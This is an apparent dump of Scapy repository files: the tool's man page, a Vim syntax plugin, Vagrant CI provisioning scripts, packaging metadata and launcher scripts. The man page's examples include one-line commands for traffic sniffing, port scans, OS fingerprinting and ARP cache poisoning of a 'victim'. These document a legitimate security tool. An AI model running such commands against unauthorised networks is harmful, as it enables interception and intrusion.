    "content": "\\\" SPDX-License-Identifier: GPL-2.0-only\n.TH SCAPY 1 \"March 24, 2024\"\n.SH NAME\nscapy \\- Interactive packet manipulation tool\n.SH SYNOPSIS\n.B scapy\n.RI [ options ]\n.SH DESCRIPTION\nThis manual page documents briefly the\n.B Scapy\ntool.\n.PP\n\\fBScapy\\fP is a powerful interactive packet manipulation tool, \npacket generator, network scanner, network discovery, packet sniffer,\netc. It can for the moment replace hping, parts of nmap, arpspoof, arp-sk,\narping, tcpdump, tshark, p0f, ...\n.PP\n\\fBScapy\\fP uses the Python interpreter as a command board. That means that \nyou can use directly Python language (assign variables, use loops, \ndefine functions, etc.)\n.PP\nThe idea is simple. Those kinds of tools do two things : sending packets \nand receiving answers. That's what \\fBScapy\\fP does : you define a set of \npackets, it sends them, receives answers, matches requests with answers \nand returns a list of packet couples (request, answer) and a list of \nunmatched packets. This has the big advantage over tools like nmap or \nhping that an answer is not reduced to (open/closed/filtered), but is \nthe whole packet. \n.PP\nOn top of this can be used to build more high-level functions, for example, one \nthat does traceroutes and give as a result only the start TTL of the \nrequest and the source IP of the answer. One that pings a whole network \nand gives the list of machines answering. One that does a portscan and \nreturns a LaTeX report. \n\n.SH OPTIONS\nOptions for Scapy are:\n.TP\n\\fB\\-h\\fR\ndisplay usage\n.TP\n\\fB\\-H\\fR\nheader-less mode, also reduces verbosity.\n.TP\n\\fB\\-d\\fR\nincrease log verbosity. Can be used many times.\n.TP\n\\fB\\-p\\fR PRESTART_FILE \nuse PRESTART_FILE instead of $HOME/.config/scapy/prestart.py as pre-startup file\n.TP\n\\fB\\-P\\fR\ndo not run prestart file\n.TP\n\\fB\\-c\\fR STARTUP_FILE \nuse STARTUP_FILE instead of $HOME/.config/scapy/startup.py as startup file\n.TP\n\\fB\\-C\\fR\ndo not run startup file\n\n.SH COMMANDS\nOnly the vital commands to begin are listed here for the moment.\n.TP\n\\fBls()\\fR\nlists supported protocol layers.\nIf a protocol layer is given as parameter, lists its fields and types of fields.\nIf a string is given as parameter, it is used to filter the layers.\n.TP\n\\fBlsc()\\fR\nlists scapy's main user commands.\n.TP\n\\fBconf\\fR\nthis object contains the configuration. \n\n.SH FILES\n\\fB$HOME/.config/scapy/prestart.py\\fR\nThis file is run before Scapy core is loaded. Only the \\fBconf\\fP object\nis available. This file can be used to configure the CLI, configure\nparameters such as the \\fBconf.load_layers\\fP  list to choose which layers\nwill be loaded, or change the logging level (for instance):\n\n.nf\nconf.interactive_shell = \"bpython\"\nlog_loading.setLevel(logging.WARNING)\nconf.load_layers.remove(\"bluetooth\")\nconf.load_layers.append(\"new_layer\")\n.fi\n\n\\fB$HOME/.config/scapy/startup.py\\fR\nThis file is run after Scapy is loaded. It can be used to configure\nmore of Scapy behaviors, like un-registering layers:\n\n.nf\nconf.prog.pdfreader = \"xpdf\"\nsplit_layers(UDP,DNS)\n.fi\n\n.SH EXAMPLES\n\nMore verbose examples are available in the documentation at\n\\fIhttps://scapy.readthedocs.io/\\fP.\nJust run \\fBscapy\\fP and try the following commands in the interpreter.\n\n.LP\nTest the robustness of a network stack with invalid packets:\n.nf\nsr(IP(dst=\"172.16.1.1\", ihl=2, options=[\"verb$2\"], version=3)/ICMP(), timeout=2)\n.fi\n\n.LP\nPacket sniffing and dissection (with a bpf filter or tshark-like output):\n.nf\na=sniff(filter=\"tcp port 110\")\na=sniff(prn = lambda x: x.show) \n.fi\n\n.LP\nSniffed packet re-emission:\n.nf\na=sniff(filter=\"tcp port 110\")\nsendp(a)\n.fi\n\n.LP\nPcap file packet re-emission:\n.nf\nsendp(rdpcap(\"file.cap\"))\n.fi\n\n.LP\nManual TCP traceroute:\n.nf\nsr(IP(dst=\"www.google.com\", ttl=(1,30))/TCP(seq=RandInt(), sport=RandShort(), dport=dport)\n.fi\n\n.LP\nProtocol scan:\n.nf\nsr(IP(dst=\"172.16.1.28\", proto=(1,254)))\n.fi\n\n.LP\nARP ping:\n.nf\nsrp(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=\"172.16.1.1/24\"))\n.fi\n\n.LP\nACK scan:\n.nf\nsr(IP(dst=\"172.16.1.28\")/TCP(dport=(1,1024), flags=\"A\"))\n.fi\n\n.LP\nPassive OS fingerprinting:\n.nf\nsniff(prn=prnp0f) \n.fi\n\n.LP\nActive OS fingerprinting:\n.nf\nnmap_fp(\"172.16.1.232\")\n.fi\n\n\n.LP\nARP cache poisoning:\n.nf\nsendp(Ether(dst=tmac)/ARP(op=\"who-has\", psrc=victim, pdst=target))\n.fi\n\n.LP\nReporting:\n.nf\nreport_ports(\"192.168.2.34\", (20,30))\n.fi\n\n.SH SEE ALSO\n\n.nf\nThe official website: \\fIhttps://scapy.net/\\fP\nThe GitHub Development repository: \\fIhttps://github.com/secdev/scapy/\\fP\nThe official documentation: \\fIhttps://scapy.readthedocs.io/en/latest/\\fP\n.fi\n\n.SH BUGS\nDoes not give the right source IP for routes that use interface aliases.\n\nMay miss packets under heavy load. This is a restriction from python itself\n\nSession saving is limited by Python ability to marshal objects. As a \nconsequence, lambda functions and generators can't be saved, which seriously\nreduce the usefulness of this feature. \n\nBPF filters don't work on Point-to-point interfaces.\n\n\n.SH AUTHOR\nPhilippe Biondi and the Scapy community.\n"
  },
  {
    "path": "doc/syntax/vim_uts_syntax/ftdetect/filetype.vim",
    "content": "au BufRead,BufNewFile *.uts setfiletype uts\n"
  },
  {
    "path": "doc/syntax/vim_uts_syntax/ftdetect/uts.vim",
    "content": "au BufRead,BufNewFile *.uts set filetype=uts\n"
  },
  {
    "path": "doc/syntax/vim_uts_syntax/install.sh",
    "content": "#!/bin/bash\n\nif [[ $(pwd) != *\"doc/syntax/vim_uts_syntax\" ]]\nthen\n\techo \"Wrong current directory. Please call this script if you are inside doc/syntax/vim_uts_syntax\"\n\texit -1\nfi\n\nif [ ! -d \"$HOME/.vim\" ]; then\n\techo \"$HOME/.vim doesn't exist\"\n\texit -1\nfi\n\nif [ -f \"$HOME/.vim/ftdetect/filetype.vim\" ]; then\n    echo \"$HOME/.vim/ftdetect/filetype.vim already exists. You may not want to overwrite this file.\"\nfi\n\nmkdir -p -v $HOME/.vim/ftdetect\nmkdir -p -v $HOME/.vim/syntax\n\ncp -i -v ftdetect/filetype.vim $HOME/.vim/ftdetect/filetype.vim\ncp -i -v ftdetect/uts.vim $HOME/.vim/ftdetect/uts.vim\ncp -i -v syntax/uts.vim $HOME/.vim/syntax/uts.vim\n\necho \"Installed\"\n"
  },
  {
    "path": "doc/syntax/vim_uts_syntax/syntax/uts.vim",
    "content": "\" Vim syntax file\n\" Language:\tUTScapy\n\" Maintainer:\tNils Weiss <nils@we155.de>\n\" Last Change:\t2019 June 07\n\" Credits:\tNeil Schemenauer <nas@python.ca>\n\"\t\tDmitry Vasiliev\n\"\t\tZvezdan Petkovic\n\"\n\"\t\tThis file is a copy with additions\n\"\t\tof Zvezdan Petkovic python syntax file.\n\"\n\" Optional highlighting can be controlled using these variables.\n\"\n\"   let python_no_builtin_highlight = 1\n\"   let python_no_doctest_code_highlight = 1\n\"   let python_no_doctest_highlight = 1\n\"   let python_no_exception_highlight = 1\n\"   let python_no_number_highlight = 1\n\"   let python_space_error_highlight = 1\n\"\n\" All the options above can be switched on together.\n\"\n\"   let python_highlight_all = 1\n\"\n\n\" quit when a syntax file was already loaded.\nif exists(\"b:current_syntax\")\n  finish\nendif\n\n\" We need nocompatible mode in order to continue lines with backslashes.\n\" Original setting will be restored.\nlet s:cpo_save = &cpo\nset cpo&vim\n\nif exists(\"python_no_doctest_highlight\")\n  let python_no_doctest_code_highlight = 1\nendif\n\nif exists(\"python_highlight_all\")\n  if exists(\"python_no_builtin_highlight\")\n    unlet python_no_builtin_highlight\n  endif\n  if exists(\"python_no_doctest_code_highlight\")\n    unlet python_no_doctest_code_highlight\n  endif\n  if exists(\"python_no_doctest_highlight\")\n    unlet python_no_doctest_highlight\n  endif\n  if exists(\"python_no_exception_highlight\")\n    unlet python_no_exception_highlight\n  endif\n  if exists(\"python_no_number_highlight\")\n    unlet python_no_number_highlight\n  endif\n  let python_space_error_highlight = 1\nendif\n\n\" Keep Python keywords in alphabetical order inside groups for easy\n\" comparison with the table in the 'Python Language Reference'\n\" https://docs.python.org/2/reference/lexical_analysis.html#keywords,\n\" https://docs.python.org/3/reference/lexical_analysis.html#keywords.\n\" Groups are in the order presented in NAMING CONVENTIONS in syntax.txt.\n\" Exceptions come last at the end of each group (class and def below).\n\"\n\" Keywords 'with' and 'as' are new in Python 2.6\n\" (use 'from __future__ import with_statement' in Python 2.5).\n\"\n\" Some compromises had to be made to support both Python 3 and 2.\n\" We include Python 3 features, but when a definition is duplicated,\n\" the last definition takes precedence.\n\"\n\" - 'False', 'None', and 'True' are keywords in Python 3 but they are\n\"   built-ins in 2 and will be highlighted as built-ins below.\n\" - 'exec' is a built-in in Python 3 and will be highlighted as\n\"   built-in below.\n\" - 'nonlocal' is a keyword in Python 3 and will be highlighted.\n\" - 'print' is a built-in in Python 3 and will be highlighted as\n\"   built-in below (use 'from __future__ import print_function' in 2)\n\" - async and await were added in Python 3.5 and are soft keywords.\n\"\nsyn keyword pythonStatement\tFalse None True\nsyn keyword pythonStatement\tas assert break continue del exec global\nsyn keyword pythonStatement\tlambda nonlocal pass print return with yield\nsyn keyword pythonStatement\tclass def nextgroup=pythonFunction skipwhite\nsyn keyword pythonConditional\telif else if\nsyn keyword pythonRepeat\tfor while\nsyn keyword pythonOperator\tand in is not or\nsyn keyword pythonException\texcept finally raise try\nsyn keyword pythonInclude\tfrom import\nsyn keyword pythonAsync\t\tasync await\n\n\" Decorators (new in Python 2.4)\n\" A dot must be allowed because of @MyClass.myfunc decorators.\nsyn match   pythonDecorator\t\"@\" display contained\nsyn match   pythonDecoratorName\t\"@\\s*\\h\\%(\\w\\|\\.\\)*\" display contains=pythonDecorator\n\n\" Python 3.5 introduced the use of the same symbol for matrix multiplication:\n\" https://www.python.org/dev/peps/pep-0465/.  We now have to exclude the\n\" symbol from highlighting when used in that context.\n\" Single line multiplication.\nsyn match   pythonMatrixMultiply\n      \\ \"\\%(\\w\\|[])]\\)\\s*@\"\n      \\ contains=ALLBUT,pythonDecoratorName,pythonDecorator,pythonFunction,pythonDoctestValue\n      \\ transparent\n\" Multiplication continued on the next line after backslash.\nsyn match   pythonMatrixMultiply\n      \\ \"[^\\\\]\\\\\\s*\\n\\%(\\s*\\.\\.\\.\\s\\)\\=\\s\\+@\"\n      \\ contains=ALLBUT,pythonDecoratorName,pythonDecorator,pythonFunction,pythonDoctestValue\n      \\ transparent\n\" Multiplication in a parenthesized expression over multiple lines with @ at\n\" the start of each continued line; very similar to decorators and complex.\nsyn match   pythonMatrixMultiply\n      \\ \"^\\s*\\%(\\%(>>>\\|\\.\\.\\.\\)\\s\\+\\)\\=\\zs\\%(\\h\\|\\%(\\h\\|[[(]\\).\\{-}\\%(\\w\\|[])]\\)\\)\\s*\\n\\%(\\s*\\.\\.\\.\\s\\)\\=\\s\\+@\\%(.\\{-}\\n\\%(\\s*\\.\\.\\.\\s\\)\\=\\s\\+@\\)*\"\n      \\ contains=ALLBUT,pythonDecoratorName,pythonDecorator,pythonFunction,pythonDoctestValue\n      \\ transparent\n\nsyn match   pythonFunction\t\"\\h\\w*\" display contained\n\nsyn match   pythonComment\t\"#.*$\" contains=pythonTodo,@Spell\nsyn keyword pythonTodo\t\tFIXME NOTE NOTES TODO XXX contained\n\nsyn match   utsCampaign\t\t\"^%.*$\"\nsyn match   utsTestSet\t\t\"^+.*$\"\nsyn match   utsUnitTest\t\t\"^=.*$\"\nsyn match   utsKeyword\t\t\"^\\~.*$\"\nsyn match   utsComment\t\t\"^\\*.*$\"\n\n\" Triple-quoted strings can contain doctests.\nsyn region  pythonString matchgroup=pythonQuotes\n      \\ start=+[uU]\\=\\z(['\"]\\)+ end=\"\\z1\" skip=\"\\\\\\\\\\|\\\\\\z1\"\n      \\ contains=pythonEscape,@Spell\nsyn region  pythonString matchgroup=pythonTripleQuotes\n      \\ start=+[uU]\\=\\z('''\\|\"\"\"\\)+ end=\"\\z1\" keepend\n      \\ contains=pythonEscape,pythonSpaceError,pythonDoctest,@Spell\nsyn region  pythonRawString matchgroup=pythonQuotes\n      \\ start=+[uU]\\=[rR]\\z(['\"]\\)+ end=\"\\z1\" skip=\"\\\\\\\\\\|\\\\\\z1\"\n      \\ contains=@Spell\nsyn region  pythonRawString matchgroup=pythonTripleQuotes\n      \\ start=+[uU]\\=[rR]\\z('''\\|\"\"\"\\)+ end=\"\\z1\" keepend\n      \\ contains=pythonSpaceError,pythonDoctest,@Spell\n\nsyn match   pythonEscape\t+\\\\[abfnrtv'\"\\\\]+ contained\nsyn match   pythonEscape\t\"\\\\\\o\\{1,3}\" contained\nsyn match   pythonEscape\t\"\\\\x\\x\\{2}\" contained\nsyn match   pythonEscape\t\"\\%(\\\\u\\x\\{4}\\|\\\\U\\x\\{8}\\)\" contained\n\" Python allows case-insensitive Unicode IDs: http://www.unicode.org/charts/\nsyn match   pythonEscape\t\"\\\\N{\\a\\+\\%(\\s\\a\\+\\)*}\" contained\nsyn match   pythonEscape\t\"\\\\$\"\n\n\" It is very important to understand all details before changing the\n\" regular expressions below or their order.\n\" The word boundaries are *not* the floating-point number boundaries\n\" because of a possible leading or trailing decimal point.\n\" The expressions below ensure that all valid number literals are\n\" highlighted, and invalid number literals are not.  For example,\n\"\n\" - a decimal point in '4.' at the end of a line is highlighted,\n\" - a second dot in 1.0.0 is not highlighted,\n\" - 08 is not highlighted,\n\" - 08e0 or 08j are highlighted,\n\"\n\" and so on, as specified in the 'Python Language Reference'.\n\" https://docs.python.org/2/reference/lexical_analysis.html#numeric-literals\n\" https://docs.python.org/3/reference/lexical_analysis.html#numeric-literals\nif !exists(\"python_no_number_highlight\")\n  \" numbers (including longs and complex)\n  syn match   pythonNumber\t\"\\<0[oO]\\=\\o\\+[Ll]\\=\\>\"\n  syn match   pythonNumber\t\"\\<0[xX]\\x\\+[Ll]\\=\\>\"\n  syn match   pythonNumber\t\"\\<0[bB][01]\\+[Ll]\\=\\>\"\n  syn match   pythonNumber\t\"\\<\\%([1-9]\\d*\\|0\\)[Ll]\\=\\>\"\n  syn match   pythonNumber\t\"\\<\\d\\+[jJ]\\>\"\n  syn match   pythonNumber\t\"\\<\\d\\+[eE][+-]\\=\\d\\+[jJ]\\=\\>\"\n  syn match   pythonNumber\n\t\\ \"\\<\\d\\+\\.\\%([eE][+-]\\=\\d\\+\\)\\=[jJ]\\=\\%(\\W\\|$\\)\\@=\"\n  syn match   pythonNumber\n\t\\ \"\\%(^\\|\\W\\)\\zs\\d*\\.\\d\\+\\%([eE][+-]\\=\\d\\+\\)\\=[jJ]\\=\\>\"\nendif\n\n\" Group the built-ins in the order in the 'Python Library Reference' for\n\" easier comparison.\n\" https://docs.python.org/2/library/constants.html\n\" https://docs.python.org/3/library/constants.html\n\" http://docs.python.org/2/library/functions.html\n\" http://docs.python.org/3/library/functions.html\n\" http://docs.python.org/2/library/functions.html#non-essential-built-in-functions\n\" http://docs.python.org/3/library/functions.html#non-essential-built-in-functions\n\" Python built-in functions are in alphabetical order.\nif !exists(\"python_no_builtin_highlight\")\n  \" built-in constants\n  \" 'False', 'True', and 'None' are also reserved words in Python 3\n  syn keyword pythonBuiltin\tFalse True None\n  syn keyword pythonBuiltin\tNotImplemented Ellipsis __debug__\n  \" built-in functions\n  syn keyword pythonBuiltin\tabs all any bin bool bytearray callable chr\n  syn keyword pythonBuiltin\tclassmethod compile complex delattr dict dir\n  syn keyword pythonBuiltin\tdivmod enumerate eval filter float format\n  syn keyword pythonBuiltin\tfrozenset getattr globals hasattr hash\n  syn keyword pythonBuiltin\thelp hex id input int isinstance\n  syn keyword pythonBuiltin\tissubclass iter len list locals map max\n  syn keyword pythonBuiltin\tmemoryview min next object oct open ord pow\n  syn keyword pythonBuiltin\tprint property range repr reversed round set\n  syn keyword pythonBuiltin\tsetattr slice sorted staticmethod str\n  syn keyword pythonBuiltin\tsum super tuple type vars zip __import__\n  \" Python 2 only\n  syn keyword pythonBuiltin\tbasestring cmp execfile file\n  syn keyword pythonBuiltin\tlong raw_input reduce reload unichr\n  syn keyword pythonBuiltin\tunicode xrange\n  \" Python 3 only\n  syn keyword pythonBuiltin\tascii bytes exec\n  \" non-essential built-in functions; Python 2 only\n  syn keyword pythonBuiltin\tapply buffer coerce intern\n  \" avoid highlighting attributes as builtins\n  syn match   pythonAttribute\t/\\.\\h\\w*/hs=s+1\n\t\\ contains=ALLBUT,pythonBuiltin,pythonFunction,pythonAsync\n\t\\ transparent\nendif\n\n\" From the 'Python Library Reference' class hierarchy at the bottom.\n\" http://docs.python.org/2/library/exceptions.html\n\" http://docs.python.org/3/library/exceptions.html\nif !exists(\"python_no_exception_highlight\")\n  \" builtin base exceptions (used mostly as base classes for other exceptions)\n  syn keyword pythonExceptions\tBaseException Exception\n  syn keyword pythonExceptions\tArithmeticError BufferError\n  syn keyword pythonExceptions\tLookupError\n  \" builtin base exceptions removed in Python 3\n  syn keyword pythonExceptions\tEnvironmentError StandardError\n  \" builtin exceptions (actually raised)\n  syn keyword pythonExceptions\tAssertionError AttributeError\n  syn keyword pythonExceptions\tEOFError FloatingPointError GeneratorExit\n  syn keyword pythonExceptions\tImportError IndentationError\n  syn keyword pythonExceptions\tIndexError KeyError KeyboardInterrupt\n  syn keyword pythonExceptions\tMemoryError NameError NotImplementedError\n  syn keyword pythonExceptions\tOSError OverflowError ReferenceError\n  syn keyword pythonExceptions\tRuntimeError StopIteration SyntaxError\n  syn keyword pythonExceptions\tSystemError SystemExit TabError TypeError\n  syn keyword pythonExceptions\tUnboundLocalError UnicodeError\n  syn keyword pythonExceptions\tUnicodeDecodeError UnicodeEncodeError\n  syn keyword pythonExceptions\tUnicodeTranslateError ValueError\n  syn keyword pythonExceptions\tZeroDivisionError\n  \" builtin OS exceptions in Python 3\n  syn keyword pythonExceptions\tBlockingIOError BrokenPipeError\n  syn keyword pythonExceptions\tChildProcessError ConnectionAbortedError\n  syn keyword pythonExceptions\tConnectionError ConnectionRefusedError\n  syn keyword pythonExceptions\tConnectionResetError FileExistsError\n  syn keyword pythonExceptions\tFileNotFoundError InterruptedError\n  syn keyword pythonExceptions\tIsADirectoryError NotADirectoryError\n  syn keyword pythonExceptions\tPermissionError ProcessLookupError\n  syn keyword pythonExceptions\tRecursionError StopAsyncIteration\n  syn keyword pythonExceptions\tTimeoutError\n  \" builtin exceptions deprecated/removed in Python 3\n  syn keyword pythonExceptions\tIOError VMSError WindowsError\n  \" builtin warnings\n  syn keyword pythonExceptions\tBytesWarning DeprecationWarning FutureWarning\n  syn keyword pythonExceptions\tImportWarning PendingDeprecationWarning\n  syn keyword pythonExceptions\tRuntimeWarning SyntaxWarning UnicodeWarning\n  syn keyword pythonExceptions\tUserWarning Warning\n  \" builtin warnings in Python 3\n  syn keyword pythonExceptions\tResourceWarning\nendif\n\nif exists(\"python_space_error_highlight\")\n  \" trailing whitespace\n  syn match   pythonSpaceError\tdisplay excludenl \"\\s\\+$\"\n  \" mixed tabs and spaces\n  syn match   pythonSpaceError\tdisplay \" \\+\\t\"\n  syn match   pythonSpaceError\tdisplay \"\\t\\+ \"\nendif\n\n\" Do not spell doctests inside strings.\n\" Notice that the end of a string, either ''', or \"\"\", will end the contained\n\" doctest too.  Thus, we do *not* need to have it as an end pattern.\nif !exists(\"python_no_doctest_highlight\")\n  if !exists(\"python_no_doctest_code_highlight\")\n    syn region pythonDoctest\n\t  \\ start=\"^\\s*>>>\\s\" end=\"^\\s*$\"\n\t  \\ contained contains=ALLBUT,pythonDoctest,pythonFunction,@Spell\n    syn region pythonDoctestValue\n\t  \\ start=+^\\s*\\%(>>>\\s\\|\\.\\.\\.\\s\\|\"\"\"\\|'''\\)\\@!\\S\\++ end=\"$\"\n\t  \\ contained\n  else\n    syn region pythonDoctest\n\t  \\ start=\"^\\s*>>>\" end=\"^\\s*$\"\n\t  \\ contained contains=@NoSpell\n  endif\nendif\n\n\" Sync at the beginning of class, function, or method definition.\nsyn sync match pythonSync grouphere NONE \"^\\%(def\\|class\\)\\s\\+\\h\\w*\\s*[(:]\"\n\n\" The default highlight links.  Can be overridden later.\nhi def link pythonStatement\t\tStatement\nhi def link pythonConditional\t\tConditional\nhi def link pythonRepeat\t\tRepeat\nhi def link pythonOperator\t\tOperator\nhi def link pythonException\t\tException\nhi def link pythonInclude\t\tInclude\nhi def link pythonAsync\t\t\tStatement\nhi def link pythonDecorator\t\tDefine\nhi def link pythonDecoratorName\t\tFunction\nhi def link pythonFunction\t\tFunction\nhi def link pythonComment\t\tComment\nhi def link pythonTodo\t\t\tTodo\nhi def link pythonString\t\tString\nhi def link pythonRawString\t\tString\nhi def link pythonQuotes\t\tString\nhi def link pythonTripleQuotes\t\tpythonQuotes\nhi def link pythonEscape\t\tSpecial\nif !exists(\"python_no_number_highlight\")\n  hi def link pythonNumber\t\tNumber\nendif\nif !exists(\"python_no_builtin_highlight\")\n  hi def link pythonBuiltin\t\tFunction\nendif\nif !exists(\"python_no_exception_highlight\")\n  hi def link pythonExceptions\t\tStructure\nendif\nif exists(\"python_space_error_highlight\")\n  hi def link pythonSpaceError\t\tError\nendif\nif !exists(\"python_no_doctest_highlight\")\n  hi def link pythonDoctest\t\tSpecial\n  hi def link pythonDoctestValue\tDefine\nendif\n\nhi def link utsCampaign\t\t\tStatusLineTerm\nhi def link utsTestSet\t\t\tStatusLineTerm\nhi def link utsUnitTest\t\t\tStatusLineTermNC\nhi def link utsKeyword\t\t\tModeMsg\nhi def link utsComment\t\t\tComment\n\nlet b:current_syntax = \"uts\"\n\nlet &cpo = s:cpo_save\nunlet s:cpo_save\n\n\" vim:set sw=2 sts=2 ts=8 noet:\n"
  },
  {
    "path": "doc/vagrant_ci/README.md",
    "content": "# Scapy Unit Tests\n\nThis directory contains a Vagrant setup to ease starting `tox` based Scapy unit\ntests.\n"
  },
  {
    "path": "doc/vagrant_ci/Vagrantfile",
    "content": "# -*- mode: ruby -*-\n# vi: set ft=ruby :\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\nVagrant.configure(\"2\") do |config|\n\n  config.vm.provider \"virtualbox\" do |vb|\n    vb.memory = 1024\n    vb.cpus = 2\n  end\n\n  config.vm.define \"openbsd\" do |bsd|\n    bsd.vm.box = \"generic/openbsd7\"\n    bsd.vm.provision \"shell\", path: \"provision_openbsd.sh\"\n  end\n\n  config.vm.define \"freebsd\" do |bsd|\n    bsd.vm.box = \"freebsd/FreeBSD-14.0-RELEASE\"\n    bsd.vm.provision \"shell\", path: \"provision_freebsd.sh\"\n  end\n\n  config.vm.define \"netbsd\" do |bsd|\n    bsd.vm.box = \"generic/netbsd9\"\n    bsd.vm.provision \"shell\", path: \"provision_netbsd.sh\"\n  end\n\nend\n"
  },
  {
    "path": "doc/vagrant_ci/provision_freebsd.sh",
    "content": "#!/usr/local/bin/bash\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\nPACKAGES=\"git python39 python311 py39-virtualenv py39-pip py39-sqlite3 py311-sqlite3 bash rust sudo\"\n\npkg update\npkg install --yes $PACKAGES\nbash\ngit clone https://github.com/secdev/scapy\ncd scapy\nexport PATH=/usr/local/bin/:$PATH\nvirtualenv-3.9 -p python3.9 venv\nsource venv/bin/activate\npip install tox\nchown -R vagrant:vagrant /home/vagrant/scapy\n"
  },
  {
    "path": "doc/vagrant_ci/provision_netbsd.sh",
    "content": "#!/bin/bash\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\nRELEASE=\"9.0_2022Q2\"\nPACKAGES=\"git python27 python39 py39-virtualenv py27-sqlite3 py39-sqlite3 py39-expat rust mozilla-rootcerts-openssl\"\n\nsudo -s\nunset PROMPT_COMMAND\nexport PATH=\"/sbin:/usr/pkg/sbin:/usr/pkg/bin:$PATH\"\nexport PKG_PATH=\"http://ftp.netbsd.org/pub/pkgsrc/packages/NetBSD/amd64/${RELEASE}/All/\"\npkg_delete curl\npkg_add -u $PACKAGES\ngit clone https://github.com/secdev/scapy\ncd scapy\nvirtualenv-3.9 venv\n. venv/bin/activate\npip install tox\nchown -R vagrant:vagrant ../scapy/\n"
  },
  {
    "path": "doc/vagrant_ci/provision_openbsd.sh",
    "content": "#!/bin/bash\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\nPACKAGES=\"git python3 py3-virtualenv py3-cryptography\"\n\nsudo pkg_add $PACKAGES\nsudo mkdir -p /usr/local/test/\nsudo chown -R vagrant:vagrant /usr/local/test/\ncd /usr/local/test/\ngit clone https://github.com/secdev/scapy\ncd scapy\nvirtualenv --system-site-packages venv\nsource venv/bin/activate\npip install tox\nsudo chown -R vagrant:vagrant /usr/local/test/\n"
  },
  {
    "path": "pyproject.toml",
    "content": "[build-system]\nrequires = [ \"setuptools>=62.0.0\" ]\nbuild-backend = \"setuptools.build_meta\"\n\n[project]\nname = \"scapy\"\ndynamic = [ \"version\", \"readme\" ]\nauthors = [\n    { name=\"Philippe BIONDI\" },\n    { name=\"Gabriel POTTER\" },\n]\nmaintainers = [\n    { name=\"Pierre LALET\" },\n    { name=\"Gabriel POTTER\" },\n    { name=\"Guillaume VALADON\" },\n    { name=\"Nils WEISS\" },\n]\nlicense = \"GPL-2.0-only\"\nrequires-python = \">=3.7, <4\"\ndescription = \"Scapy: interactive packet manipulation tool\"\nkeywords = [ \"network\" ]\nclassifiers = [\n    \"Development Status :: 5 - Production/Stable\",\n    \"Environment :: Console\",\n    \"Intended Audience :: Developers\",\n    \"Intended Audience :: Information Technology\",\n    \"Intended Audience :: Science/Research\",\n    \"Intended Audience :: System Administrators\",\n    \"Intended Audience :: Telecommunications Industry\",\n    \"Programming Language :: Python :: 3\",\n    \"Programming Language :: Python :: 3 :: Only\",\n    \"Programming Language :: Python :: 3.7\",\n    \"Programming Language :: Python :: 3.8\",\n    \"Programming Language :: Python :: 3.9\",\n    \"Programming Language :: Python :: 3.10\",\n    \"Programming Language :: Python :: 3.11\",\n    \"Programming Language :: Python :: 3.12\",\n    \"Programming Language :: Python :: 3.13\",\n    \"Topic :: Security\",\n    \"Topic :: System :: Networking\",\n    \"Topic :: System :: Networking :: Monitoring\",\n]\n\n[project.urls]\nHomepage = \"https://scapy.net\"\nDownload = \"https://github.com/secdev/scapy/tarball/master\"\nDocumentation = \"https://scapy.readthedocs.io\"\n\"Source Code\" = \"https://github.com/secdev/scapy\"\nChangelog = \"https://github.com/secdev/scapy/releases\"\n\n[project.scripts]\nscapy = \"scapy.main:interact\"\n\n[project.optional-dependencies]\ncli = [ \"ipython\" ]\nall = [\n    \"ipython\",\n    \"pyx\",\n    \"cryptography>=2.0\",\n    \"matplotlib\",\n]\ndoc = [\n    \"cryptography>=2.0\",\n    \"sphinx>=7.0.0\",\n    \"sphinx_rtd_theme>=1.3.0\",\n    \"tox>=3.0.0\",\n]\n\n# setuptools specific\n\n[tool.setuptools.package-data]\n\"scapy\" = [\"py.typed\"]\n\n[tool.setuptools.packages.find]\ninclude = [\n    \"scapy*\",\n]\nexclude = [\n    \"test*\",\n    \"doc*\",\n]\n\n[tool.setuptools.dynamic]\nversion = { attr=\"scapy.VERSION\" }\n\n# coverage\n\n[tool.coverage.run]\nconcurrency = [ \"thread\", \"multiprocessing\" ]\nsource = [ \"scapy\" ]\nomit = [\n    # Scapy tools\n    \"scapy/tools/\",\n    # Scapy external modules\n    \"scapy/libs/ethertypes.py\",\n    \"scapy/libs/manuf.py\",\n    \"scapy/libs/winpcapy.py\",\n]\n"
  },
  {
    "path": "run_scapy",
    "content": "#! /bin/sh\nDIR=$(dirname \"$0\")\nif [ -z \"$PYTHON\" ]\nthen\n  PYTHON=${PYTHON:-python3}\nfi\n$PYTHON --version > /dev/null 2>&1\nif [ ! $? -eq 0 ]\nthen\n  echo \"WARNING: '$PYTHON' not found, using 'python' instead.\"\n  PYTHON=python\nfi\nPYTHONPATH=$DIR exec \"$PYTHON\" -m scapy $@\n"
  },
  {
    "path": "run_scapy.bat",
    "content": "@echo off\r\nsetlocal\r\nset PYTHONPATH=%~dp0\r\nREM shift will not work with %*\r\nset \"_args=%*\"\r\nIF \"%PYTHON%\" == \"\" set PYTHON=py\r\nWHERE %PYTHON% >nul 2>&1\r\nIF %ERRORLEVEL% NEQ 0 set PYTHON=\r\nIF \"%1\" == \"-3\" (\r\n  if \"%PYTHON%\" == \"py\" (\r\n    set \"PYTHON=py -3\"\r\n  ) else (\r\n    set PYTHON=python3\r\n  )\r\n  set \"_args=%_args:~3%\"\r\n) else (\r\n  IF \"%PYTHON%\" == \"\" set PYTHON=python3\r\n  WHERE %PYTHON% >nul 2>&1\r\n  IF %ERRORLEVEL% NEQ 0 set PYTHON=python\r\n)\r\n%PYTHON% -m scapy %_args%\r\ntitle Scapy - dead\r\nPAUSE"
  },
  {
    "path": "scapy/__init__.py",
